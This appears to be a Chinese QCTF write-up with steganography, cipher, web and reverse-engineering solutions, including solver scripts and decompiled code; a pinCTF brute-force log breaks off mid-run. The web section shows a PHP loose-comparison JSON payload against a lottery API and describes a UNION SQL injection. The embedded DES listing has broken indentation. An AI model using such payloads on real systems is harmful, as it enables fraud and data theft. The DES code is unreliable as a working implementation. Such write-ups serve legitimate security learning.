其实大部分是看着大佬 wp 的复现。感觉自己实力还是欠缺很多。

MISC

picture

通过 stegsolve 判断出存在最低位隐写。使用 lsb 工具解出密文,为一段加密函数:

#_*_ coding:utf-8 _*_
import re
import sys

ip=  (58, 50, 42, 34, 26, 18, 10, 2,
      60, 52, 44, 36, 28, 20, 12, 4,
      62, 54, 46, 38, 30, 22, 14, 6,
      64, 56, 48, 40, 32, 24, 16, 8,
      57, 49, 41, 33, 25, 17, 9 , 1,
      59, 51, 43, 35, 27, 19, 11, 3,
      61, 53, 45, 37, 29, 21, 13, 5,
      63, 55, 47, 39, 31, 23, 15, 7)

ip_1=(40, 8, 48, 16, 56, 24, 64, 32,
      39, 7, 47, 15, 55, 23, 63, 31,
      38, 6, 46, 14, 54, 22, 62, 30,
      37, 5, 45, 13, 53, 21, 61, 29,
      36, 4, 44, 12, 52, 20, 60, 28,
      35, 3, 43, 11, 51, 19, 59, 27,
      34, 2, 42, 10, 50, 18, 58, 26,
      33, 1, 41,  9, 49, 17, 57, 25)

e  =(32, 1,  2,  3,  4,  5,  4,  5,
       6, 7,  8,  9,  8,  9, 10, 11,
      12,13, 12, 13, 14, 15, 16, 17,
      16,17, 18, 19, 20, 21, 20, 21,
      22, 23, 24, 25,24, 25, 26, 27,
      28, 29,28, 29, 30, 31, 32,  1)

p=(16,  7, 20, 21, 29, 12, 28, 17,
     1, 15, 23, 26,  5, 18, 31, 10,
     2,  8, 24, 14, 32, 27,  3,  9,
     19, 13, 30, 6, 22, 11,  4,  25)

s=[ [[14, 4, 13,  1,  2, 15, 11,  8,  3, 10,  6, 12,  5,  9,  0,  7],
     [0, 15,  7,  4, 14,  2, 13,  1, 10,  6, 12, 11,  9,  5,  3,  8],
     [4,  1, 14,  8, 13,  6,  2, 11, 15, 12,  9,  7,  3, 10,  5,  0],
     [15, 12,  8,  2,  4,  9,  1,  7,  5, 11,  3, 14, 10,  0,  6, 13]],

     [[15,  1,  8, 14,  6, 11,  3,  4,  9,  7,  2, 13, 12,  0,  5, 10],
     [3, 13,  4,  7, 15,  2,  8, 14, 12,  0,  1, 10,  6,  9, 11,  5],
     [0, 14,  7, 11, 10,  4, 13,  1,  5,  8, 12,  6,  9,  3,  2, 15],
     [13,  8, 10,  1,  3, 15,  4,  2, 11,  6,  7, 12,  0,  5, 14,  9]],

     [[10,  0,  9, 14,  6,  3, 15,  5,  1, 13, 12,  7, 11,  4,  2,  8],
     [13,  7,  0,  9,  3,  4,  6, 10,  2,  8,  5, 14, 12, 11, 15,  1],
     [13,  6,  4,  9,  8, 15,  3,  0, 11,  1,  2, 12,  5, 10, 14,  7],
     [1, 10, 13,  0,  6,  9,  8,  7,  4, 15, 14,  3, 11,  5,  2, 12]],

    [[7, 13, 14,  3,  0,  6,  9, 10,  1,  2,  8,  5, 11,  12,  4, 15],
     [13,  8, 11,  5,  6, 15,  0,  3,  4,  7,  2, 12,  1, 10, 14,9],
     [10,  6,  9,  0, 12, 11,  7, 13, 15,  1,  3, 14,  5,  2,  8,  4],
     [3, 15,  0,  6, 10,  1, 13,  8,  9,  4,  5, 11, 12,  7,  2, 14]],


    [[2, 12,  4,  1,  7, 10, 11,  6,  8,  5,  3, 15, 13,  0, 14,  9],
     [14, 11,  2, 12,  4,  7, 13,  1,  5,  0, 15, 10,  3,  9,  8,  6],
     [4,  2,  1, 11, 10, 13,  7,  8, 15,  9, 12,  5,  6,  3,  0, 14],
     [11,  8, 12,  7,  1, 14,  2, 13,  6, 15,  0,  9, 10,  4,  5,  3]],

    [[12,  1, 10, 15,  9,  2,  6,  8,  0, 13,  3,  4, 14,  7,  5, 11],
     [10, 15,  4,  2,  7, 12,  9,  5,  6,  1, 13, 14,  0, 11,  3,  8],
     [9, 14, 15,  5,  2,  8, 12,  3,  7,  0,  4, 10,  1, 13, 11,  6],
     [4,  3,  2, 12,  9,  5, 15, 10, 11, 14,  1,  7,  6,  0,  8, 13]],

    [[4, 11,  2, 14, 15,  0,  8, 13,  3, 12,  9,  7,  5, 10,  6,  1],
     [13,  0, 11,  7,  4,  9,  1, 10, 14,  3,  5, 12,  2, 15,  8,  6],
     [1,  4, 11, 13, 12,  3,  7, 14, 10, 15,  6,  8,  0,  5,  9,  2],
     [6, 11, 13,  8,  1,  4, 10,  7,  9,  5,  0, 15, 14,  2,  3, 12]],

   [[13,  2,  8,  4,  6, 15, 11,  1, 10,  9,  3, 14,  5,  0, 12,  7],
     [1, 15, 13,  8, 10,  3,  7,  4, 12,  5,  6, 11,  0, 14,  9,  2],
     [7, 11,  4,  1,  9, 12, 14,  2,  0,  6, 10, 13, 15,  3,  5,  8],
     [2,  1, 14,  7,  4, 10,  8, 13, 15, 12,  9,  0,  3,  5,  6, 11]]]

pc1=(57, 49, 41, 33, 25, 17,  9,
       1, 58, 50, 42, 34, 26, 18,
      10,  2, 59, 51, 43, 35, 27,
      19, 11,  3, 60, 52, 44, 36,
      63, 55, 47, 39, 31, 23, 15,
       7, 62, 54, 46, 38, 30, 22,
      14,  6, 61, 53, 45, 37, 29,
      21, 13,  5, 28, 20, 12, 4);

pc2= (14, 17, 11, 24,  1,  5,  3, 28,
      15,  6, 21, 10, 23, 19, 12,  4,
      26,  8, 16,  7, 27, 20, 13,  2,
      41, 52, 31, 37, 47, 55, 30, 40,
      51, 45, 33, 48, 44, 49, 39, 56,
      34, 53, 46, 42, 50, 36, 29, 32)

d = (  1,  1,  2,  2,  2,  2,  2,  2, 1, 2, 2, 2, 2, 2, 2, 1)

__all__=['desencode']
class DES():

  def __init__(self):
    pass

  def code(self,from_code,key,code_len,key_len):
    output=""
    trun_len=0

    code_string=self._functionCharToA(from_code,code_len)
    code_key=self._functionCharToA(key,key_len)

    if code_len%16!=0:
      real_len=(code_len/16)*16+16
    else:
      real_len=code_len

    if key_len%16!=0:
      key_len=(key_len/16)*16+16
    key_len*=4

    trun_len=4*real_len

    for i in range(0,trun_len,64):
      run_code=code_string[i:i+64]
      l=i%key_len
    run_key=code_key[l:l+64]


            run_code= self._codefirstchange(run_code)
            run_key= self._keyfirstchange(run_key)


            for j in range(16):


                code_r=run_code[32:64]
                code_l=run_code[0:32]


                run_code=code_r


                code_r= self._functionE(code_r)


                key_l=run_key[0:28]
                key_r=run_key[28:56]
                key_l=key_l[d[j]:28]+key_l[0:d[j]]
                key_r=key_r[d[j]:28]+key_r[0:d[j]]
                run_key=key_l+key_r
                key_y= self._functionKeySecondChange(run_key)


                code_r= self._codeyihuo(code_r,key_y)


                code_r= self._functionS(code_r)


                code_r= self._functionP(code_r)


                code_r= self._codeyihuo(code_l,code_r)
                run_code+=code_r

            code_r=run_code[32:64]
            code_l=run_code[0:32]
            run_code=code_r+code_l


            output+=self._functionCodeChange(run_code)
        return output


    def _codeyihuo(self,code,key):
        code_len=len(key)
        return_list=''
        for i in range(code_len):
            if code[i]==key[i]:
                return_list+='0'
            else:
                return_list+='1'
        return return_list


    def _codefirstchange(self,code):
        changed_code=''
        for i in range(64):
            changed_code+=code[ip[i]-1]
        return changed_code


    def _keyfirstchange (self,key):
        changed_key=''
        for i in range(56):
            changed_key+=key[pc1[i]-1]
        return changed_key


    def _functionCodeChange(self, code):
        lens=len(code)/4
        return_list=''
        for i in range(lens):
            list=''
            for j in range(4):
                list+=code[ip_1[i*4+j]-1]
            return_list+="%x" %int(list,2)
        return return_list


    def _functionE(self,code):
        return_list=''
        for i in range(48):
            return_list+=code[e[i]-1]
        return return_list


    def _functionP(self,code):
        return_list=''
        for i in range(32):
            return_list+=code[p[i]-1]
        return return_list


    def _functionS(self, key):
        return_list=''
        for i in range(8):
            row=int( str(key[i*6])+str(key[i*6+5]),2)
            raw=int(str( key[i*6+1])+str(key[i*6+2])+str(key[i*6+3])+str(key[i*6+4]),2)
            return_list+=self._functionTos(s[i][row][raw],4)

        return return_list


    def _functionKeySecondChange(self,key):
        return_list=''
        for i in range(48):
            return_list+=key[pc2[i]-1]
        return return_list


    def _functionCharToA(self,code,lens):
        return_code=''
        lens=lens%16
        for key in code:
            code_ord=int(key,16)
            return_code+=self._functionTos(code_ord,4)
        if lens!=0:
            return_code+='0'*(16-lens)*4
        return return_code


    def _functionTos(self,o,lens):
        return_code=''
        for i in range(lens):
            return_code=str(o>>i &1)+return_code
        return return_code


def tohex(string):
    return_string=''
    for i in string:
        return_string+="%02x"%ord(i)
    return return_string

def tounicode(string):
    return_string=''
    string_len=len(string)
    for i in range(0,string_len,2):
        return_string+=chr(int(string[i:i+2],16))
    return return_string


def desencode(from_code,key):


    from_code=tohex(from_code)
    key=tohex(key)

    des=DES()
    key_len=len(key)
    string_len=len(from_code)

    if string_len<1 or key_len<1:
    print 'error input'
        return False
    key_code= des.code(from_code,key,string_len,key_len)
    return key_code


if __name__  == '__main__':
    if(desencode(sys.argv[1],'mtqVwD4JNRjw3bkT9sQ0RYcZaKShU4sf')=='e3fab29a43a70ca72162a132df6ab532535278834e11e6706c61a1a7cefc402c8ecaf601d00eee72'):
        print 'correct.'
    else:
        print 'try again.'

解出来之后发现应该是 DES,但无从下手。后来看了孔师傅的 wp,一惊居然还有这种骚操作。

顺便记录一下 __all__ 在 python 中:

The only solution is for the package author to provide an explicit index of the package. The import statement uses the following convention: if a package’s init.py code defines a list named all, it is taken to be the list of module names that should be imported when from package import * is encountered. It is up to the package author to keep this list up-to-date when a new version of the package is released. Package authors may also decide not to support it, if they don’t see a use for importing * from their package.

最后用搜到的脚本解密:

$ python des_1.py
DES 解密

请输入密文(长度不限):e3fab29a43a70ca72162a132df6ab532535278834e11e6706c61a1a7cefc402c8ecaf601d00eee72
请输入密钥(长度不限):mtqVwD4JNRjw3bkT9sQ0RYcZaKShU4sf
QCTF{eCy0AALMDH9rLoBnWnTigXpYPkgU0sU4}
按确定退出

Noise

拿到一个 Noise.wav,发现是 my little pony theme song。尝试用 mp3stego 后无果。再反复听了很多次,发现有一些噪音夹杂在里面。

看一下 hint,个人认为这里最关键的是 hint2,需要了解通过消除伴奏获得人声的原理。

关于原理,利用声波叠加干涉消除原声,当声波的相位差达到 180 度的时候,就可以达到消音的效果:

跟着教程学会怎么使用 Adobe Audition,使声波相位差达到 180 度。

要提取出噪音,我们要做的就是从网上下载原版的 my little pony theme song,然后将 Noise.wav 和它的相位差调整为 180 度,就可以提取出噪音。

关于这段噪音的话,和慢扫描电视有关。利用软件 MMSSTV,最后得到 flag。

X-man-Keyword

也是 lsb。

密码为图片中的 lovekfc

通过提示,将 LOVEKFC 作为关键字提到最前面,和正常顺序的英文字母进行置换。

PVSF{vVckHejqBOVX9C1c13GFfkHJrjIQeMwf}

LOVEKFCABDGHIJMNPQRSTUWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ

QCTF...
// 容易发现前四位正好是QCTF

写一下脚本跑出结果:

#include <stdio.h>
#include <string.h>
#include <ctype.h>

int main() {
    char s1[27] = "lovekfcabdghijmnpqrstuwxyz";
    char s2[27] = "abcdefghijklmnopqrstuvwxyz";
    char s3[27] = "LOVEKFCABDGHIJMNPQRSTUWXYZ";
    char s4[27] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    char ans[39] = "PVSF{vVckHejqBOVX9C1c13GFfkHJrjIQeMwf}";
    for(int i = 0; i < strlen(ans); i++) {
        if(islower(ans[i])) {
            for(int j = 0; j < strlen(s1); j++) {
                if(ans[i] == s1[j]) {
                    ans[i] = s2[j];
                    break;
                }
            }
        } else if(isupper(ans[i])) {
            for(int j = 0; j < strlen(s3); j++) {
                if(ans[i] == s3[j]) {
                    ans[i] = s4[j];
                    break;
                }
            }
        } else {
            continue;
        }
    }
    printf("%s", ans);
    return 0;
}

X-man-A face

补全二维码定位符,扫出一串类似 base64 的密文。

经过尝试,通过 base32 解码得到 flag。

WEB

Lottery

通过 GitHack 拿到源码,在 api.php 中:

function buy($req){
    require_registered();
    require_min_money(2);
    $money = $_SESSION['money'];
    $numbers = $req['numbers'];
    $win_numbers = random_win_nums();
    $same_count = 0;
    for($i=0; $i<7; $i++){
        if($numbers[$i] == $win_numbers[$i]){
            $same_count++;
        }
    }

$numbers 即用户输入的数字,$win_numbers 即随机生成的数字。根据 PHP 弱类型比较,例如 TRUE1"1" 相等,构造 "action":"buy","numbers":[true,true,true,true,true,true,true] 即可中最高奖,得到 flag。

NewsCenter

直接用联合注入判断出列数为三列后,就开始走流程 emmm。

显而易见 flag 应该在 secret_table 中。

fl4g 列中得到 flag:

RE

Xman-babymips

mips 逆向,看一下 swing 的博客,安装一波 retdec 来反编译。

反编译出几个关键函数:

  • check 函数:
//
// This file was generated by the Retargetable Decompiler
// Website: https://retdec.com
// Copyright (c) 2019 Retargetable Decompiler <info@retdec.com>
//

#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>

// ------------------- Function Prototypes --------------------

int32_t puts(char * a1);
int32_t strlen(char * a1);
int32_t strncmp(char * a1, char * a2, int32_t a3);
int32_t sub_4007F0(char * a1);

// --------------------- Global Variables ---------------------

char * g1 = "\x52\xfd\x16\xa4\x89\xbd\x92\x80\x13\x41\x54\xa0\x8d\x45\x18\x81\xde\xfc\x95\xf0\x16\x79\x1a\x15\x5b\x75\x1f";

// ------------------------ Functions -------------------------

// Address range: 0x4007f0 - 0x4009a8
int32_t sub_4007F0(char * a1) {
    int32_t v1 = (int32_t)a1; // 0x400800
    char * str = (char *)v1; // 0x400800
    int32_t puts_rc;
    if (strlen(str) <= 5) {
        // 0x400934
        if (strncmp((char *)(v1 + 5), (char *)&g1, 27) == 0) {
            // 0x400964
            puts_rc = puts("Right!");
            // branch -> 0x40098c
        } else {
            // 0x40097c
            puts_rc = puts("Wrong!");
            // branch -> 0x40098c
        }
        // 0x40098c
        return puts_rc;
    }
    int32_t v2 = 5;
    while (true) {
        char * v3 = (char *)(v2 + v1); // 0x4008a8
        int32_t v4 = (int32_t)*v3; // 0x4008a8
        char v5;
        if (v2 % 2 == 0) {
            char v6 = *v3; // 0x4008cc
            v5 = (int32_t)v6 / 64 | 0x4000000 * v4 / 0x1000000;
            // branch -> 0x400900
        } else {
            // 0x400828
            v5 = 64 * (int32_t)*v3 | v4 / 4;
            // branch -> 0x400900
        }
        // 0x400900
        *v3 = v5;
        int32_t v7 = v2 + 1; // 0x400908
        if (v7 >= strlen(str)) {
            // break -> 0x400934
            break;
        }
        v2 = v7;
        // continue -> 0x400814
    }
    // 0x400934
    if (strncmp((char *)(v1 + 5), (char *)&g1, 27) == 0) {
        // 0x400964
        puts_rc = puts("Right!");
        // branch -> 0x40098c
    } else {
        // 0x40097c
        puts_rc = puts("Wrong!");
        // branch -> 0x40098c
    }
    // 0x40098c
    return puts_rc;
}

// --------------------- Meta-Information ---------------------

// Detected compiler/packer: gcc (7.3.0)
// Detected functions: 1
// Decompilation date: 2019-01-23 16:29:29

逻辑就是先判断奇偶,如果为奇数则将字符的高 6 位作为低 6 位,低 2 位作为高 2 位;反之为偶数,则字符的低 6 位作为高 6 位,高 2 位作为低 2 位。最后和 g1 check 一下。

  • main 函数在这里:
//
// This file was generated by the Retargetable Decompiler
// Website: https://retdec.com
// Copyright (c) 2019 Retargetable Decompiler <info@retdec.com>
//

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// ------------------- Function Prototypes --------------------

int32_t printf(char * a1);
int32_t puts(char * a1);
int32_t scanf(char * a1);
void setbuf(int32_t a1, char * a2);
int32_t strncmp(char * a1, char * a2, int32_t a3);
int32_t sub_4007F0(int32_t a1);
int32_t sub_4009A8(void);

// --------------------- Global Variables ---------------------

int32_t stdin = 0;
int32_t stdout = 0;

// ------------------------ Functions -------------------------

// Address range: 0x4009a8 - 0x400af8
int32_t sub_4009A8(void) {
    // 0x4009a8
    setbuf(stdout, NULL);
    setbuf(stdin, NULL);
    printf("Give me your flag:");
    scanf("%32s");
    int32_t v1 = 0; // bp-48
    int32_t v2 = 0; // 0x400a58
    char * v3 = (char *)((int32_t)&v1 + 4 + v2); // 0x400a28
    *v3 = (char)((int32_t)*v3 ^ 32 - v2);
    int32_t v4 = v1 + 1; // 0x400a70
    v1 = v4;
    // branch -> 0x400a1c
    while (v4 < 32) {
        // 0x400a1c
        v2 = v4;
        v3 = (char *)((int32_t)&v1 + 4 + v2);
        *v3 = (char)((int32_t)*v3 ^ 32 - v2);
        v4 = v1 + 1;
        v1 = v4;
        // continue -> 0x400a1c
    }
    int32_t str = 0; // bp-44
    int32_t puts_rc;
    if (strncmp((char *)&str, "Q|j{g", 5) == 0) {
        // 0x400ab4
        puts_rc = sub_4007F0((int32_t)&str);
        // branch -> 0x400adc
    } else {
        // 0x400acc
        puts_rc = puts("Wrong");
        // branch -> 0x400adc
    }
    // 0x400adc
    return puts_rc;
}

// --------------------- Meta-Information ---------------------

// Detected compiler/packer: gcc (7.3.0)
// Detected functions: 1
// Decompilation date: 2019-01-23 16:29:58

main 中先输入字符串,然后将字符串中的每个字符依次与 32-i 异或,前五位与 Q|j{g 比较,之后将字符串作为参数调用上一个 check 函数。

由于之前的奇偶难以判断,所以采用爆破的方式。用 python 写出爆破脚本:

#!/usr/bin/env python
enc1 = 'Q|j{g'
enc2 = '\x52\xfd\x16\xa4\x89\xbd\x92\x80\x13\x41\x54\xa0\x8d\x45\x18\x81\xde\xfc\x95\xf0\x16\x79\x1a\x15\x5b\x75\x1f'
flag = ''
for i in range(5):
    ch = ord(enc1[i]) ^ (32 - i)
    print 'index', i, '==>', chr(ch)
    flag += chr(ch)
for i in range(5, 32):
    for ch in range(256):
        t = ch ^ (32 - i)
        if i % 2 == 0:
            res = ((t << 2) & 0xff) | (t >> 6)
        else:
            res = (t >> 2) | ((t << 6) & 0xff)
        if res == ord(enc2[i - 5]):
            print 'index', i, '==>', chr(ch)
            flag += chr(ch)
            break
print len(flag)
print 'flag:', flag

最后放上官方给出的源码:

#include <stdio.h>
#include <string.h>
char *check1="Q|j{g";
char *check2= "\x52\xfd\x16\xa4\x89\xbd\x92\x80\x13\x41\x54\xa0\x8d\x45\x18\x81\xde\xfc\x95\xf0\x16\x79\x1a\x15\x5b\x75\x1f";
void check(char *s){
    int i;
    for(i=5;i<strlen(s);i++){
        if(i%2)
            s[i]=(s[i]>>2)|((s[i]<<6)&0xff);
        else
            s[i]=((s[i]<<2)&0xff)|(s[i]>>6);
    }
    if(!strncmp(&s[5],check2,27))
        printf("Right!\n");
    else
        printf("Wrong!\n");
}
void main(){
    char s[33];
    int i;
    printf("Give me your flag:");
    scanf("%32s",s);

    for(i=0;i<32;i++)
        s[i]^=(32-i);
    if(!strncmp(s,check1,5))
        check(s);
    else
        printf("Wrong\n");
}

asong

总共给了三个文件,asong 为可执行文件,that_girl 以及 out 都是 ascii 文本。将 asong 拖进 ida 后,看到 main 函数的样子:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  void *girl; // ST00_8
  char *input; // ST08_8

  girl = malloc(0xBCuLL);
  input = (char *)malloc(0x50uLL);
  init_func();
  getline(input);
  simple_check(input);
  cal("that_girl", (__int64)girl);
  encrypt(input, (__int64)girl);
  return 0LL;
}

第一个 init_func(),设置一下缓冲区:

void init_func()
{
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
}

getline() 函数实现了一个简单的读取一行的功能:

char __fastcall getline(char *a1)
{
  char *v1; // rax
  signed int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; ; ++i )
  {
    LOBYTE(v1) = read(0, &a1[i], 1uLL) == 1;
    if ( !(_BYTE)v1 )
      break;
    if ( a1[i] == 10 || i > 100 )
    {
      v1 = &a1[i];
      *v1 = 0;
      return (char)v1;
    }
  }
  return (char)v1;
}

simple_check() 函数检查读入字符串中是否以 'QCTF{' 开头,以及是否以 '}' 结尾:

void __fastcall simple_check(char *a1)
{
  int v1; // [rsp+14h] [rbp-Ch]
  void *dest; // [rsp+18h] [rbp-8h]

  dest = malloc(0x50uLL);
  if ( memcmp(a1, "QCTF{", 5uLL) )
    exit(-1);
  memcpy(dest, a1 + 5, 0x4BuLL);
  v1 = strlen((const char *)dest);
  if ( *((_BYTE *)dest + v1 - 1) == '}' )
    *((_BYTE *)dest + v1 - 1) = 0;
  memcpy(a1, dest, 0x50uLL);
  free(dest);
}

cal() 函数读取了文件 that_girl 的内容,应该是通过 convert() 函数对其中的每个字符做了一个词频的统计:

int __fastcall cal(const char *that_girl, __int64 girl)
{
  int v2; // eax
  char *v4; // [rsp+0h] [rbp-20h]
  char buf; // [rsp+13h] [rbp-Dh]
  int fd; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v7; // [rsp+18h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  fd = open(that_girl, 0, girl, that_girl);
  while ( read(fd, &buf, 1uLL) == 1 )
  {
    v2 = convert(buf);
    ++*(_DWORD *)&v4[4 * v2];
  }
  return close(fd);
}

convert() 函数中是一个对读入的 buf 的映射,不用刻意看具体是什么操作,后面直接打表就完事了:

__int64 __fastcall convert(char buf)
{
  __int64 result; // rax

  result = (unsigned int)(buf - 10);
  switch ( buf )
  {
    case '\n':
      result = (unsigned int)(buf + 35);
      break;
    case ' ':
    case '!':
    case '"':
      result = (unsigned int)(buf + 10);
      break;
    case '\'':
      result = (unsigned int)(buf + 2);
      break;
    case ',':
      result = (unsigned int)(buf - 4);
      break;
    case '.':
      result = (unsigned int)(buf - 7);
      break;
    case ':':
    case ';':
      result = (unsigned int)(buf - 21);
      break;
    case '?':
      result = (unsigned int)(buf - 27);
      break;
    case '_':
      result = (unsigned int)(buf - 49);
      break;
    default:
      if ( buf <= '/' || buf > '9' )
      {
        if ( buf <= '@' || buf > 'Z' )
        {
          if ( buf > '`' && buf <= 'z' )
            result = (unsigned int)(buf - 87);  // lower case
        }
        else
        {
          result = (unsigned int)(buf - 55);    // upper case
        }
      }
      else
      {
        result = (unsigned int)(buf - 48);      // number
      }
      break;
  }
  return result;
}

最后是对 flag 的加密部分:

unsigned __int64 __fastcall encrypt(const char *input, char *girl)
{
  int i; // [rsp+18h] [rbp-48h]
  int len; // [rsp+1Ch] [rbp-44h]
  char enc[56]; // [rsp+20h] [rbp-40h]
  unsigned __int64 v6; // [rsp+58h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  len = strlen(input);
  for ( i = 0; i < len; ++i )
    enc[i] = *(_DWORD *)&girl[4 * (signed int)convert(input[i])];
  index_round(enc);
  shift(enc, len);
  output(enc, "out", len);
  return __readfsqword(0x28u) ^ v6;
}

这里用到了一个 global 的 table,和之前的词频一样,通过打表将映射关系记录下来:

__int64 __fastcall index_round(char *enc)
{
  __int64 result; // rax
  _BYTE v2[5]; // [rsp+13h] [rbp-5h]

  v2[4] = 0;                                    // v2[1] = 0;
  *(_DWORD *)v2 = (unsigned __int8)*enc;
  while ( table[*(signed int *)&v2[1]] )
  {
    enc[*(signed int *)&v2[1]] = enc[table[*(signed int *)&v2[1]]];
    *(_DWORD *)&v2[1] = table[*(signed int *)&v2[1]];
  }
  result = v2[0];
  enc[*(signed int *)&v2[1]] = v2[0];
  return result;
}

shift() 做了一个循环位移,这个操作显然是可逆的:

char *__fastcall shift(char *enc, int len)
{
  char *result; // rax
  char v3; // [rsp+17h] [rbp-5h]
  int i; // [rsp+18h] [rbp-4h]

  v3 = (unsigned __int8)*enc >> 5;
  for ( i = 0; len - 1 > i; ++i )
    enc[i] = 8 * enc[i] | ((unsigned __int8)enc[i + 1] >> 5);
  result = &enc[i];
  *result = 8 * *result | v3;
  return result;
}

output() 函数将密文输出到 out 中:

int __fastcall output(char *enc, const char *file, int len)
{
  int v4; // [rsp+Ch] [rbp-24h]
  int i; // [rsp+28h] [rbp-8h]
  int fd; // [rsp+2Ch] [rbp-4h]

  v4 = len;
  fd = open(file, 65, 438LL);
  for ( i = 0; i < v4; ++i )
    write(fd, &enc[i], 1uLL);
  return close(fd);
}

总体加密过程统计了 that_girl 文件的词频, 并将 flag 转换为对应的词频。经过两次加密, 置换, 移位。最后在尝试中写出最后的脚本:

#!/usr/bin/env python
f = open('out', 'rb')
t = f.read()
f.close()
enc = []
for i in range(len(t)):
    enc.append(ord(t[i]))
print enc
flag = ''

def convert(c):
    res = c - 10
    if c == 10:
        res = c + 35
    elif 32 <= c <= 34:
        res = c + 10
    elif c == 39:
        res = c + 2
    elif c == 44:
        res = c - 4
    elif c == 46:
        res = c - 7
    elif 58 <= c <= 59:
        res = c - 21
    elif c == 63:
        res = c - 27
    elif c == 95:
        res = c - 49
    else:
        if c <= 47 or c > 57:
            if c <= 64 or c > 90:
                if c > 96 and c <= 122:
                    res = c - 87
            else:
                res = c - 55
        else:
            res = c - 48
    return res

# convert1
convert_map = {}
for ch in range(256):
    convert_map[convert(ch)] = ch
# print convert_map

f = open('that_girl', 'rb')
that_girl = f.read()
f.close()
# print that_girl

girl = [0 for i in range(256)]
for i in range(len(that_girl)):
    t = convert(that_girl[i])
    girl[t * 4] += 1
# print girl

# shift
enc1 = []
enc1.append(((enc[-1] << 5) & 0xff) | (enc[0] >> 3))
for i in range(len(enc) - 1):
    enc1.append(((enc[i] << 5) & 0xff) | (enc[i + 1] >> 3))
print len(enc1)

table = [0x00000016, 0x00000000, 0x00000006, 0x00000002, 0x0000001E, 0x00000018, 0x00000009, 0x00000001, 0x00000015, 0x00000007, 0x00000012, 0x0000000A, 0x00000008, 0x0000000C, 0x00000011, 0x00000017, 0x0000000D, 0x00000004, 0x00000003, 0x0000000E, 0x00000013, 0x0000000B, 0x00000014, 0x00000010, 0x0000000F, 0x00000005, 0x00000019, 0x00000024, 0x0000001B, 0x0000001C, 0x0000001D, 0x00000025, 0x0000001F, 0x00000020, 0x00000021, 0x0000001A, 0x00000022, 0x00000023]
print len(table)

# convert2
round_map = {}
x = 0
while table[x] != 0:
    round_map[table[x]] = x
    x = table[x]
round_map[0] = 1
print round_map

enc2 = [0 for i in range(len(enc1))]
for origin, encoded in round_map.items():
    enc2[origin] = enc1[encoded]

for i in range(len(enc2)):
    for j in range(len(girl) / 4):
        if enc2[i] == girl[j * 4]:
            flag += chr(convert_map[j])
            break

print 'flag: QCTF{%s}' % flag

ollvm

题目给的 binary 很大,各种混淆,硬逆太困难了。pintool 走一波,这里推荐一个脚本 pinCTF(大概跑了一个半小时的样子)。

root@fea7928d5398:~/PinCTF# ./pinCTF.py -f ./ollvm -a -l obj-intel64/ -sl 38 -r abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_+={} -sk
[~] Status:
threading : False
reverseRange : False
skipFavoredPaths : True
[~] Trying {AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[+] iter 0 using Q for QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[~] Trying Q{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[+] iter 1 using C for QCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[~] Trying QC{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[+] iter 2 using T for QCTAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[~] Trying QCT{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[+] iter 3 using F for QCTFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[~] Trying QCTF{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[+] iter 4 using { for QCTF{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[~] Trying QCTF{{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[+] iter 5 using 5 for QCTF{5AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[~] Trying QCTF{5{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[+] iter 6 using Y for QCTF{5YAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[~] Trying QCTF{5Y{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[+] iter 7 using m for QCTF{5YmAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[~] Trying QCTF{5Ym{AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[+] iter 8 using 4 for QCTF{5Ym4AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[~] Trying QCTF{5Ym4{AAAAAAAAAAAAAAAAAAAAAAAAAAAA
[+] iter 9 using a for QCTF{5Ym4aAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[~] Trying QCTF{5Ym4a{AAAAAAAAAAAAAAAAAAAAAAAAAAA
[+] iter 10 using O for QCTF{5Ym4aOAAAAAAAAAAAAAAAAAAAAAAAAAAA
[~] Trying QCTF{5Ym4aO{AAAAAAAAAAAAAAAAAAAAAAAAAA
[+] iter 11 using E for QCTF{5Ym4aOEAAAAAAAAAAAAAAAAAAAAAAAAAA
[~] Trying QCTF{5Ym4aOE{AAAAAAAAAAAAAAAAAAAAAAAAA
[+] iter 12 using w for QCTF{5Ym4aOEwAAAAAAAAAAAAAAAAAAAAAAAAA
[~] Trying QCTF{5Ym4aOEw{AAAAAAAAAAAAAAAAAAAAAAAA
[+] iter 13 using w for QCTF{5Ym4aOEwwAAAAAAAAAAAAAAAAAAAAAAAA
[~] Trying QCTF{5Ym4aOEww{AAAAAAAAAAAAAAAAAAAAAAA
[+] iter 14 using 2 for QCTF{5Ym4aOEww2AAAAAAAAAAAAAAAAAAAAAAA
[~] Trying QCTF{5Ym4aOEww2{AAAAAAAAAAAAAAAAAAAAAA
[+] iter 15 using N for QCTF{5Ym4aOEww2NAAAAAAAAAAAAAAAAAAAAAA
[~] Trying QCTF{5Ym4aOEww2N{AAAAAAAAAAAAAAAAAAAAA
